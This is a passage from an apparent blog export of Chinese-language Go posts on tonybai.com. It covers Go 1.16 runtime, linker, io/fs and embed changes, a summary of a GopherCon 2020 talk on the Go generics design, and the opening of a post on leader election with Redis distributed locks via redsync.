runtime使用MADV_DONTNEED替代MADV_FREE达到更积极的将不用的内存释放给OS的效果(如果使用MADV_FREE，只有OS内存压力很大时，才会真正回收内存)，这将使得通过top查看到的常驻系统内存(RSS或RES)指标更实时也更真实反映当前Go进程对os内存的实际占用情况(仅使用linux)。\n在Go 1.16版本中，Go runtime将MADV_DONTNEED作为默认值了，我们可以用一个小例子来对比一下这种变化：\n// github.com/bigwhite/experiments/blob/master/go1.16-examples/runtime/memalloc.go package main import \u0026quot;time\u0026quot; func allocMem() []byte { b := make([]byte, 1024*1024*1) //1M return b } func main() { for i := 0; i \u0026lt; 100000; i++ { _ = allocMem() time.Sleep(500 * time.Millisecond) } } 我们在linux上使用go 1.16版本编译该程序，考虑到优化和inline的作用，我们在编译时关闭优化和内联：\n$go build -gcflags \u0026quot;-l -N\u0026quot; memalloc.go 接下来，我们分两次运行该程序，并使用top监控其RES指标值：\n$./memalloc $ top -p 9273 PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 9273 root 20 0 704264 5840 856 S 0.0 0.3 0:00.03 memalloc 9273 root 20 0 704264 3728 856 S 0.0 0.2 0:00.05 memalloc ... ... $GODEBUG=madvdontneed=0 ./memalloc $ top -p 9415 PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 9415 root 20 0 704264 5624 856 S 0.0 0.3 0:00.03 memalloc 9415 root 20 0 704264 5624 856 S 0.0 0.3 0:00.05 memalloc 我们看到默认运行的memalloc(开启MADV_DONTNEED)，RES很积极的变化，当上一次显示5840，下一秒内存就被归还给OS，RES变为3728。而关闭MADV_DONTNEED（GODEBUG=madvdontneed=0）的memalloc，OS就会很lazy的回收内存，RES一直显示5624这个值。\n4. Go链接器的进一步进行现代化改造 新一代Go链接器的更新计划从Go 1.15版本开始，在Go 1.15版本链接器的性能、资源占用、最终二进制文件大小等方面都有了一定幅度的优化提升。Go 1.16版本延续了这一势头：相比于Go 1.15，官方宣称(在linux上)性能有20%-25%的提升，资源占用下降5%-15%。更为直观的是编译出的二进制文件的size，我实测了一下文件大小下降10%以上：\n-rwxr-xr-x 1 tonybai staff 22M 2 21 23:03 my-large-app-demo* -rwxr-xr-x 1 tonybai staff 25M 2 21 23:02 my-large-app-demo-go1.15* 并且和Go 1.15的链接器优化仅针对amd64平台和基于ELF格式的OS不同，这次的链接器优化已经扩展到所有平台和os组合上。\n五. 标准库 1. io/fs包 Go 1.16标准库新增io/fs包，并定义了一个fs.File接口用于表示一个只读文件树(tree of file)的抽象。之所以要加入io/fs包并新增fs.File接口源于对嵌入静态资源文件(embed static asset)的实现需求。虽说实现embed功能特性是直接原因，但io/fs的加入也不是“临时起意”，早在很多年前的godoc实现时，对一个抽象的文件系统接口的需求就已经被提了出来并给出了实现：\n最终这份实现以godoc工具的vfs包的形式一直长期存在着。虽然它的实现有些复杂，抽象程度不够，但却对io/fs包的设计有着重要的参考价值。同时也部分弥补了Rob Pike老爷子当年没有将os.File设计为interface的遗憾，Ian Lance Taylor 2013年提出的增加VFS层的想法也一并得以实现。\nio/fs包的两个最重要的接口如下：\n// $GOROOT/src/io/fs/fs.go // An FS provides access to a hierarchical file system. // // The FS interface is the minimum implementation required of the file system. // A file system may implement additional interfaces, // such as ReadFileFS, to provide additional or optimized functionality. type FS interface { // Open opens the named file. // // When Open returns an error, it should be of type *PathError // with the Op field set to \u0026quot;open\u0026quot;, the Path field set to name, // and the Err field describing the problem. // // Open should reject attempts to open names that do not satisfy // ValidPath(name), returning a *PathError with Err set to // ErrInvalid or ErrNotExist. Open(name string) (File, error) } // A File provides access to a single file. // The File interface is the minimum implementation required of the file. // A file may implement additional interfaces, such as // ReadDirFile, ReaderAt, or Seeker, to provide additional or optimized functionality. type File interface { Stat() (FileInfo, error) Read([]byte) (int, error) Close() error } FS接口代表虚拟文件系统的最小抽象，File接口则是虚拟文件的最小抽象，我们可以基于这两个接口进行扩展以及对接现有的一些实现。io/fs包也给出了一些扩展FS的“样例”：\n这两个接口的设计也是“Go秉持定义小接口惯例”的延续(更多关于这方面的内容，可以参考我的专栏文章《定义小接口是Go惯例》)。\nio/fs包的加入也契合了Go社区对vfs的需求，在Go团队决定加入io/fs并提交实现后，社区做出了积极的反应，在github上我们能看到好多为各类对象提供针对io/fs.FS接口实现的项目：\nio/fs.FS和File接口在后续Go演进过程中会像io.Writer和io.Reader一样成为Gopher们在操作类文件树时最爱的接口。\n2. embed包 在《Go 1.16新功能特性不完全前瞻》一文中我们曾重点说了Go 1.16将支持在Go二进制文件中嵌入静态文件并给出了一个在webserver中嵌入文本文件的例子：\n// github.com/bigwhite/experiments/blob/master/go1.16-examples/stdlib/embed/webserver/hello.txt hello, go 1.16 // github.com/bigwhite/experiments/blob/master/go1.16-examples/stdlib/embed/webserver/main.go package main import ( _ \u0026quot;embed\u0026quot; \u0026quot;net/http\u0026quot; ) //go:embed hello.txt var s string func main() { http.Handle(\u0026quot;/\u0026quot;, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.Write([]byte(s)) })) http.ListenAndServe(\u0026quot;:8080\u0026quot;, nil) } 我们看到在这个例子，通过//go:embed hello.txt，我们可以轻易地将hello.txt的内容存储在包级变量s中，而s将作为每个http request的应答返回给客户端。\n在Go二进制文件中嵌入静态资源文件是Go核心团队对社区广泛需求的积极回应。在go 1.16以前，Go社区开源的类嵌入静态文件的项目不下十多个，在Russ Cox关于embed的设计草案中，他就列了十多个：\ngithub.com/jteeuwen/go-bindata(主流实现) github.com/alecthomas/gobundle github.com/GeertJohan/go.rice github.com/go-playground/statics github.com/gobuffalo/packr github.com/knadh/stuffbin github.com/mjibson/esc github.com/omeid/go-resources github.com/phogolabs/parcello github.com/pyros2097/go-embed github.com/rakyll/statik github.com/shurcooL/vfsgen github.com/UnnoTed/fileb0x github.com/wlbr/templify perkeep.org/pkg/fileembed Go1.16原生支持嵌入并且给出一种开发者体验良好的实现方案，这对Go社区是一种极大的鼓励，也是Go团队重视社区声音的重要表现。\n笔者认为embed机制是Go 1.16中玩法最多的一种机制，也是极具新玩法挖掘潜力的机制。在embed加入Go tip不久，很多Gopher就已经“脑洞大开”：\n有通过embed嵌入版本号的：\n// github.com/bigwhite/experiments/blob/master/go1.16-examples/stdlib/embed/version/main.go package main import ( _ \u0026quot;embed\u0026quot; \u0026quot;fmt\u0026quot; \u0026quot;strings\u0026quot; ) var ( Version string = strings.TrimSpace(version) //go:embed version.txt version string ) func main() { fmt.Printf(\u0026quot;Version %q\\n\u0026quot;, Version) } // github.com/bigwhite/experiments/blob/master/go1.16-examples/stdlib/embed/version/version.txt v1.0.1 有通过embed打印自身源码的：\n// github.com/bigwhite/experiments/blob/master/go1.16-examples/stdlib/embed/printself/main.go package main import ( _ \u0026quot;embed\u0026quot; \u0026quot;fmt\u0026quot; ) //go:embed main.go var src string func main() { fmt.Print(src) } 更是有将一个完整的、复杂的带有js支持的web站点直接嵌入到go二进制文件中的示例，鉴于篇幅，这里就不一一列举了。\nGo擅长于Web服务，而embed机制的引入粗略来看，可以大大简化web服务中资源文件的部署，估计这也是之前社区青睐各种静态资源文件嵌入项目的原因。embed估计也会成为Go 1.16中最被gopher们喜爱的功能特性。\n不过embed机制的实现目前有如下一些局限：\n仅支持在包级变量前使用//go:embed指示符，还不支持在函数/方法内的局部变量上应用embed指示符（当然我们可以通过将包级变量赋值给局部变量来过渡一下）； 使用//go:embed指示符的包必须以空导入的方式导入embed包，二者是成对出现的，缺一不可； 3. net包的变化 在Go 1.16之前，我们检测在一个已关闭的网络上进行I/O操作或在I/O完成前网络被关闭的情况，只能通过匹配字符串”use of closed network connection”的方式来进行。之前的版本没有针对这个错误定义“哨兵错误变量”(更多关于哨兵错误变量的内容，可以参考我的专栏文章《别笑！这就是 Go 的错误处理哲学》)，Go 1.16增加了ErrClosed这个“哨兵错误变量”，我们可以通过errors.Is(err, net.ErrClosed)来检测是否是上述错误情况。\n六. 小结 从Go 1.16版本变更的功能特性中，我看到了Go团队更加重视社区的声音，这也是Go团队一直持续努力的目标。在最新的Go proposal review meeting的结论中，我们还看到了这样的一个proposal被accept：\n要知道这个proposal的提议是将在Go 1.18才会落地的泛型实现分支merge到Go项目master分支，也就是说在Go 1.17中就会包含“不会发布的”泛型部分实现，这在之前是不可能实现的(之前，新proposal必须有原型实现的分支，实现并经过社区测试与Go核心委员会评估后才会在特定版本merge到master分支)。虽说泛型的开发有其特殊情况，但能被accept，这恰证明了Go社区的声音在Go核心团队日益受到重视。\n如果你还没有升级到Go 1.16，那么现在正是时候。\n本文中涉及的代码可以在这里下载。https://github.com/bigwhite/experiments/tree/master/go1.16-examples\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 考虑到部落尚处于推广期，这里仍然为大家准备了新人优惠券，虽然优惠幅度有所下降，但依然物超所值，早到早享哦！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订阅！目前该技术专栏正在新春促销！关注我的个人公众号“iamtonybai”，发送“go专栏活动”即可获取专栏专属优惠码，可在订阅专栏时抵扣20元哦(2021.2月末前有效)。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/02/25/some-changes-in-go-1-16/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-1.16-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e辛丑牛年初七开工大吉的日子(2021.2.18)，Go核心开发团队为中国Gopher们献上了大礼 – \u003ca href=\"https://mp.weixin.qq.com/s/7tYi-61teL0kBmWz7q2SGw\"\u003eGo 1.16版本正式发布了\u003c/a\u003e！国内Gopher可以在\u003ca href=\"https://golang.google.cn/dl/\"\u003eGo中国官网上\u003c/a\u003e下载到Go 1.16在各个平台的安装包：\u003c/p\u003e","title":"Go 1.16中值得关注的几个变化"},{"content":"\n注：本文是首发于笔者微信公众号“iamtonybai”上的付费文章，这里免费分享给大家！\n在2020.11.9~11.13举行的全球最具影响力的Go语言技术大会GopherCon 2020上，Go语言之父之一的Robert Griesemer为全世界Gopher们带来了本次大会最重量级的演讲**“Typing [Generic] Go”**。\n图：Robert Griesemer带来的有关Go泛型演讲\n在这个演讲中，Robert Griesemer向Gopher们介绍了自从今年中旬在Go官网发表文章“The Next Step for Generics”以来Go泛型(Go Generics)技术草案的最新变化，并详细介绍了类型参数(type parameter)是如何满足Go现有的类型系统的，以及Go编译器是如何对Go泛型代码进行类型检查的。\n本文整理了此次演讲的重点内容，供广大Gopher参考，希望能为大家理解Go泛型带来帮助。\n一. 预备知识 为了更好地理解Robert Griesemer的讲解，这里先带着大家回顾一下Go generics技术草案演化史。\n图：Go泛型技术草案演化时间线\n2017年7月，Go核心团队领军人物Russ Cox在Gophercon 2017大会上发表演讲“Toward Go 2”，正式吹响Go向下一个阶段演化的号角；\n2018年8月，在Gophercon 2018大会结束后不久，Go核心团队发布了Go2 draft proposal，这里面涵盖了由Ian Lance Taylor和Robert Griesemer操刀主写的Go泛型的第一版draft proposal。这版草案引入了contract关键字来定义泛型类型参数(type parameter)的约束、类型参数放在普通函数参数列表前面的小括号中，并用type关键字声明：\n// 第一版泛型技术草案中的典型泛型语法\ncontract stringer(x T) { var s string = x.String() }\nfunc Stringify(type T stringer)(s []T) (ret []string) {\n}\n2019年7月，Ian Lance Taylor在GopherCon 2019大会上发表演讲“Why Generics?”，并更新了泛型的技术草案，简化了contract的语法设计：\n// 简化后的contract语法如下：\ncontract stringer(T) { T String() string }\n2020年6月，《Featherweight Go》论文发表在arxiv.org上，该论文缘于Rob Pike向著名计算机科学家、函数语言专家、Haskell语言的设计者之一、Java泛型的设计者PHILIP WADLER发出的一次邀请，希望PHILIP WADLER帮助Go核心团队解决Go语言的泛型扩展问题：\n图：Rob Pike向PHILIP WADLER发出的邀请\n而这篇论文则是对这次邀请的回应。这篇论文为Go语言的一个最小语法子集设计了泛型语法Featherweight Generic Go(FGG)，并成功地给出了FGG到Feighterweight Go(FG)的可行性实现的形式化证明。\n该篇论文采用monomorphisation(单态)的实现，而非Java使用的擦触法(Erasure)，这样的好处之一是如果代码中没有使用任何泛型抽象，程序的运行时不会因支持泛型而承担额外的消耗。\n该论文的形式化证明给Go团队带来了信心，也是的Go团队在一些语法问题上达成更广泛的一致。\n图：Robert Griesemer表达了对该论文团队的感谢\n2020.6月末，Ian Lance Taylor和Robert Griesemer在Go官方博客发表了文章《The Next Step for Generics》，介绍了Go泛型工作的最新进展。Go团队放弃了之前的技术草案，并重新编写了一个新草案。在这份新技术方案中，Go团队放弃了引入contract关键字作为泛型类型参数的约束，而采用扩展后的interface来替代contract。这样上面的Stringify函数就可以写成如下形式：\ntype Stringer interface { String() string }\nfunc Stringify(type T Stringer)(s []T) (ret []string) { \u0026hellip; \u0026hellip; }\n同时，Go团队还推出了可以在线试验Go泛型语法的playground：https://go2goplay.golang.org，这样gopher们可以直观体验新语法，并给出自己的意见反馈。\n2020年11月的GopherCon 2020大会，Griesemer与全世界Gopher同步了Go泛型的最新进展和roadmap，在最新的技术草案版本中，小括号被方括号取代，类型参数前面的type关键字也不再需要了：\nfunc Stringify[T Stringer](s []T) (ret []string) { \u0026hellip; \u0026hellip; }\ngo2goplay.golang.org也支持了方括号语法，gopher可以在线体验。\n下面我们就来看看Griesemer对最新Go泛型技术草案的详细讲解。\n二. 类型参数(Type parameters)技术草案详解 这版草案与2019年中旬发布的草案的最大变动就是使用interface而不是contract来表达对类型参数的约束。\n该版设计的主要特性：\n类型参数(Type parameters) – 一种将类型或函数进行参数化的机制 约束(Constraints) – 一种表达对类型参数的约束的机制 类型推导(Type inference，可选) 普通函数参数列表 vs. 泛型函数的类型参数列表 我们知道，普通函数的参数列表是这样的：\n(x, y aType, z anotherType) x, y, z是形参(parameter)的名字，即变量； aType，anotherType是形参的类型，即类型。 我们再来看一下类型参数(type parameter)列表：\n[P, Q aConstraint, R anotherConstraint] P，Q，R是类型形参的名字，即类型； aConstraint，anotherConstraint代表类型参数的约束(constraint)，可以理解为一种元类型(meta-type，即修饰类型的类型)。 注：按惯例，类型参数(type parameter)的名字都是头母大写的。\n为什么需要类型参数(type parameter) 我们先来看一下当前Go语言标准库中提供的排序方案：\n// $GOROOT/src/sort/sort.go type Interface interface { Len() int Less(i, j int) bool Swap(i, j int) } func Sort(data Interface) { ... ... } 为了应用这个排序函数Sort，我们需要让被排序的类型实现sort.Interface接口，就像下面例子中这样：\ntype IntSlice []int func (p IntSlice) Len() int { return len(p) } func (p IntSlice) Less(i, j int) bool { return p[i] \u0026lt; p[j] } func (p IntSlice) Swap(i, j int) { p[i], p[j] = p[j], p[i] } func main() { sl := IntSlice([]int{89, 14, 8, 9, 17, 56, 95, 3}) fmt.Println(sl) sort.Sort(sl) fmt.Println(sl) } 这真是我们想要的实现方式吗？我们真正需要的是这样的：\nfunc Sort(list []Elem) // 使用 var myList = []Elem{...} Sort(myList) 解决办法：使用type parameter(类型参数或叫做参数化的类型，将类型作为参数传递)：\n图：使用类型参数的Sort\n约束(constraints) 约束(constraint)规定了一个类型实参(type argument)必须满足的条件要求。而在泛型Go中，我们使用interface来定义约束。\n如果某个类型实现了某个约束(规定的所有条件要求)，那么它就是一个合法的类型实参。\n下面是一个泛型版本的Sort函数：\nfunc Sort[Elem interface{ Less(y Elem) bool }](list []Elem) 我们看到上面函数Sort的类型形参(type parameter)Elem的约束是一个interface，这样传入的类型实参(type argument)只要实现了该接口即可。\n约束的定义中也可以引用类型形参，比如下面这个泛型函数：\n图：约束的定义中引用类型形参\n类型形参的声明与作用域 图：类型参数的声明与作用域\n类型参数的作用域始于**[**，终于泛型函数的函数体结尾或泛型类型的声明结尾。\n泛型的类型具化与类型检查 下面是一个使用泛型版本Sort函数的例子：\nfunc Sort[Elem interface{ Less(y Elem) bool }](list []Elem) type book struct{…} func (x book) Less(y book) bool {…} var bookshelf []book … Sort[book](bookshelf) // 泛型函数调用 上面的泛型函数调用Sort[book](bookshelf)将分成两个阶段：\n具化(instantiation) 形象点说，具化(instantiation)就好比一家生产“排序机器”的工厂根据要排序的对象的类型将这样的机器生产出来的过程。以上面的例子来说，整个具化过程如下：\n工厂接单：Sort[book]，发现要排序的对象类型为book； 模具检查与匹配：检查book类型是否满足模具的约束要求(即是否实现了Less方法)，如满足，则将其作为类型实参替换Sort函数中的类型形参，结果为Sort[book interface{ Less(y book) bool }]； 生产机器：将泛型函数Sort具化为一个新函数，这里将其起名为booksort，其函数原型为func([]book)。本质上booksort := Sort[book]。 调用(invocation) 一旦“排序机器”被生产出来，那么它就可以对目标对象进行排序了，这和普通的函数调用没有区别。这里就相当于调用booksort(bookshelf)，整个过程只需检查传入的函数实参(bookshelf)的类型与booksort函数原型中的形参类型([]book)是否匹配即可。\n用伪代码来表述上面两个过程如下：\nSort[book](bookshelf) \u0026lt;=\u0026gt; 具化：booksort := Sort[book] 调用：booksort(bookshelf) 泛型类型 除了函数可以携带类型参数变身为“泛型函数”外，类型也可以拥有类型参数而化身为“泛型类型”：\ntype Lesser[T any] interface{ Less(y T) bool } 上面代码中的any代表没有任何约束，等价于interface{}。\n泛型类型的类型参数的声明与作用域范围 泛型类型的类型参数的声明方式如下，类型参数的作用域范围也同见下图：\n图：泛型类型的类型参数的声明与作用域\n用泛型类型改造Sort 用泛型类型定义一个具名的约束条件- Lesser接口类型：\ntype Lesser[T any] interface{ Less(y T) bool } 使用Lesser[T]作为约束的Sort函数可以这样写：\nfunc Sort[Elem Lesser[Elem]](list []Elem) 注意：任何泛型函数或泛型类型在使用前都必须先“具化(instantiation)”。\n我们再来看看Sort函数的内部实现：\nfunc Sort[Elem Lesser[Elem]](list []Elem) { ... var i, j int ... if list[i].Less(List[j]) { ... } ... } 这里的list[i]和list[j]的类型是Elem； Elem不是一个接口类型，它是泛型函数(Sort)的类型参数，Lesser[Elem]是作为类型参数的约束而存在的，不要与函数常规参数列表混淆。 再次强调：类型参数是一个真实的类型，不是一个接口类型(变量)，当然我们可以使用一个接口类型作为类型实参来具化一个泛型函数或泛型类型。\n实参类型自动推导(Argument type inference) 我们是想要：\nSort[book](bookshelf) 还是：\nSort(bookshelf) 显然是后者。我们希望Go编译器能够根据传入的变量自动推导出类型参数的实参类型。\n图：实参类型的自动推导\n这样，在具化之前，如果泛型函数调用没有显式提供实参类型，那么Go编译器将进行自动实参类型推导。有了是实参类型的自动推导，大多数泛型调用的方式与常规函数调用一致。\n类型列表(type lists) 到这里，约束仅限于描述方法要求。下面的函数调用仍然无法工作：\nSort([]int{1, 2, 3}) 因为原生的int类型不满足Elem的约束，没有实现Less方法。虽然我们可以用下面替代方法实现整型切片的排序：\ntype myInt int func (x myInt) Less(y myInt) bool { return x \u0026lt; y } 但这还是太麻烦了。\nGo泛型扩展了interface语法，除了让interface拥有自己的方法列表外，还支持在interface中定义类型列表(type list)：\ntype Float interface { type float32, float64 } // float32和float64都可以作为类型实参传递给Sin func Sin[T Float](x T) T 现在，一个类型实参要想满足约束，要么它实现了约束中的所有方法，要么它或它的底层类型(underlying type)在约束的类型列表中。\n下面是一个泛型函数min的声明与约束定义：\nfunc min[T Ordered](x, y T) T ... type Ordered interface { type int, int8, int16, ..., uint, uint8, uint16, ..., float32, float64, string } 函数min的实现如下：\nfunc min[T Ordered](x, y T) T { if x \u0026lt; y { return x } return y } x和y的类型都是T，T类型要满足约束Ordered； x \u0026lt; y是合法的，因为在Ordered的类型列表中的每个类型都支持\u0026quot;\u0026lt;\u0026ldquo;比较。 但不同类型参数代表的却是不同类型：\nfunc invalid[Tx, Ty Ordered](x Tx, y Ty) Tx { ... if x \u0026lt; y { // 不合法 ... } } x的类型是Tx，y的类型是Ty； Tx和Ty是不同类型； \u0026ldquo;\u0026lt;\u0026ldquo;需要两个操作数拥有相同的类型。 类型列表应用的典型示例 将[]byte和string的操作整合在一起 我们知道目前标准库中有一个bytes包和一个strings包，这两个包一个用于处理[]byte，一个则用于处理string。但使用过这两个包的gopher会发现，这两个包中大部分函数和方法是一样的，甚至处理逻辑都是一样的。有了泛型后，我们可以将对两种类型的大部分操作整合在一起，以Index函数为例：\ntype Bytes interface { type []byte, string } // Index returns the index of the first instance of sep // in s, or -1 if sep is not present in s. func Index[bytes Bytes](s, sep bytes) int 类型参数(type parameter)之间的关系\ntype Pointer[T any] interface { type *T }\nfunc f[T any, PT Pointer[T]](x T)\n或\nfunc foo[T any, PT interface{type *T}](x T)\n上面是基于类型列表表述“一个类型的指针类型”约束的方案。PT的实参的类型必须是T的实参类型的指针类型。\n下面这几个函数和接口很大可能会加入到标准库：\nfunc BasicSort[Elem Ordered](list []Elem) func Sort[Elem Lesser[Elem]](list []Elem) type Lesser[Elem any] interface { Less(Elem) Elem } 小结 关于泛型声明：\n类型参数列表和普通参数列表相似，只是使用\u0026rdquo;[ ]\u0026ldquo;括起； 函数和类型都可以拥有类型参数列表； 使用interface表达对类型参数的约束。 关于泛型使用：\n泛型函数和类型在使用之前必须先“具化(instantiated)”； 类型自动推导可实现函数隐式具化； 如果类型实参满足约束，那么具化才会合法。 截至2020.10月份的泛型设计草案版本，我们对以下特性设计的满意度为：\n三. 结束语 “能力越大，责任越大” 类型参数(泛型)是Go工具集中的新成员； 它与语言的其他部分正交； 其正交性也打开了编码风格的一个新维度。 泛型引入了抽象，无用的抽象带来复杂性。请三思而后行！\n示例1 func ReadAll(r io.Reader) ([]byte, error) 对比： func ReadAll[reader io.Reader](r reader) ([]byte, error) =\u0026gt; 引入泛型的版本并未解决任何实际问题(还带来了复杂难以理解的抽象)\n示例2 // Drain drains any elements remaining on the channel. func Drain[T any](c \u0026lt;-chan T) // Merge merges two channels of some element type into // a single channel. func Merge[T any](c1, c2 \u0026lt;-chan T) \u0026lt;-chan T =\u0026gt; 类型参数让以往无法实现的逻辑成为现实。\n何时使用泛型 增强静态类型安全性 更高效的内存使用 (显著的)更好的性能 泛型是带有类型检查的宏(macro)。使用宏之前请三思！\n接下来的工作 Go核心团队正在着手做出一个完整的泛型实现，以便我们解决所有未解决的问题。我们继续欢迎大家的反馈！\n如何抢先体验泛型：\nplayground: https://go2goplay.golang.org/ go2go命令工具：git checkout dev.go2go 注：2020.11.21日，Go开发团队技术负责人Russ Cox在golang-dev上的mail确认了Go泛型(type parameter)将在Go 1.18版本落地，即2022.2月份。\n关注公众号“iamtonybai”，fgg获取论文“Featherweight Go”下载链接；发送gophercon2020获取GopherCon 2020大会技术ppt资料。\n“Gopher部落”知识星球开球了！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！星球首开，福利自然是少不了的！2020年年底之前，8.8折(很吉利吧^_^)加入星球，下方图片扫起来吧！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 - https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/02/18/typing-generic-go-by-griesemer-at-gophercon-2020/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-generics-at-gophercon-2020-1.png\"\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e注：本文是首发于笔者微信公众号“iamtonybai”上的\u003ca href=\"https://mp.weixin.qq.com/s/SMT40557JgQ9FjUkswznlA\"\u003e付费文章\u003c/a\u003e，这里免费分享给大家！\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e在2020.11.9~11.13举行的全球最具影响力的Go语言技术大会\u003ca href=\"https://www.gophercon.com/\"\u003eGopherCon 2020\u003c/a\u003e上，Go语言之父之一的\u003ca href=\"https://github.com/griesemer\"\u003eRobert Griesemer\u003c/a\u003e为全世界Gopher们带来了本次大会最重量级的演讲**“Typing [Generic] Go”**。\u003c/p\u003e","title":"“能力越大，责任越大” – Go语言之父详解将于Go 1.18发布的Go泛型"},{"content":"\n今天要说的技术方案也是有一定项目背景的。在上一个项目中，我们需要对一个redis集群中过期的key进行处理，这是一个分布式\n系统，考虑到高可用性，需要具备过期处理功能的服务有多个副本，这样我们就要求在同一时间内仅有一个副本可以对过期的key\u0026gt;进行处理，如果该副本挂掉，系统会在其他副本中再挑选出一个来处理过期的key。\n很显然，这里涉及到一个选主(leader election)的过程。每当涉及选主，很多人就会想到一些高大上的分布式一致性/共识算法，\n比如：raft、paxos等。当然使用这\n些算法自然没有问题，但是也给系统徒增了很多复杂性。能否有一些更简单直接的方案呢？我们已经有了一个redis集群，是否可\u0026gt;以利用redis集群的能力来完成这一点呢？\nRedis原生并没有提供leader election算法，但Redis作者提供了分布式锁的算法，也就\u0026gt;是说我们可以用分布式锁来实现一个简单的选主功能，见下图：\n图：利用redis分布式锁实现选主\n在上图中我们看到，只有持有锁的服务才具备操作数据的资格，也就是说持有锁的服务的角色是leader，而其他服务则继续尝试去持有锁，它们是follower的角色。\n1. 基于单节点redis的分布式锁 在redis官方有关分布式锁算法的介绍页面中，作者给出了各种编程语言的推荐实现，而Go语言的推荐实现仅redsync这一种。在这篇短文中，我们就来使用redsync实现基于Redis分布式锁的选主方案。\n在Go生态中，连接和操作redis的主流go客户端库有go-redis和redigo。最新的redsync版本底层redis driver既支持go-redis，也支持redigo，我个人日常使用最多的是go-redis这个客户端，这里我们就用go-redis。\nredsync github主页中给出的例子是基于单redis node的分布式锁示例。下面我们也先以单redis节点来看看如何通过Redis的分布式锁实现我们的业务逻辑：\n// github.com/bigwhite/experiments/blob/master/redis-cluster-distributed-lock/standalone/main.go 1 package main 2 3 import ( 4 \u0026quot;context\u0026quot; 5 \u0026quot;log\u0026quot; 6 \u0026quot;os\u0026quot; 7 \u0026quot;os/signal\u0026quot; 8 \u0026quot;sync\u0026quot; 9 \u0026quot;sync/atomic\u0026quot; 10 \u0026quot;syscall\u0026quot; 11 \u0026quot;time\u0026quot; 12 13 goredislib \u0026quot;github.com/go-redis/redis/v8\u0026quot; 14 \u0026quot;github.com/go-redsync/redsync/v4\u0026quot; 15 \u0026quot;github.com/go-redsync/redsync/v4/redis/goredis/v8\u0026quot; 16 ) 17 18 const ( 19 redisKeyExpiredEventSubj = `__keyevent@0__:expired` 20 ) 21 22 var ( 23 isLeader int64 24 m atomic.Value 25 id string 26 mutexName = \u0026quot;the-year-of-the-ox-2021\u0026quot; 27 ) 28 29 func init() { 30 if len(os.Args) \u0026lt; 2 { 31 panic(\u0026quot;args number is not correct\u0026quot;) 32 } 33 id = os.Args[1] 34 } 35 36 func tryToBecomeLeader() (bool, func() (bool, error), error) { 37 client := goredislib.NewClient(\u0026amp;goredislib.Options{ 38 Addr: \u0026quot;localhost:6379\u0026quot;, 39 }) 40 pool := goredis.NewPool(client) 41 rs := redsync.New(pool) 42 43 mutex := rs.NewMutex(mutexName) 44 45 if err := mutex.Lock(); err != nil { 46 client.Close() 47 return false, nil, err 48 } 49 50 return true, func() (bool, error) { 51 return mutex.Unlock() 52 }, 